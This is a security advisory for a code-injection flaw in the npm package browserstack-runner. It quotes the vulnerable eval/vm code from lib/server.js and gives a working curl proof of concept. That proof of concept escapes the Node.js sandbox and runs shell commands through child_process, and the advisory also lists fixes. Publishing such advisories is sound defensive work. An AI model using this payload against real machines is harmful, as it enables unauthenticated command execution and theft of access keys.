PT-2026-46086 · Npm · Browserstack-Runner
Published
2026-06-03
·
Updated
2026-06-03
CVSS v3.1
8.8
High
| Vector | AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
The HTTP handler
/ log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.Details
When
browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The / log endpoint accepts POST requests and processes the JSON body as follows:// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval('o = ' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The
vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().Unlike the
progress and report handlers which verify worker UUID authentication, the log handler does not gate on authentication.Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test path":"t.html","test framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/ log
-H "Content-Type: application/json"
-d '{"arguments":["this.constructor.constructor("return process.mainModule.require(`child process`).execSync(`id`).toString()")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running
browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.Remediation
- Remove
eval()andvm.runInNewContext()from theloghandler — useJSON.stringify()for safe logging - Add UUID authentication to
log(matchingprogressandreporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
Fix
Code Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Browserstack-Runner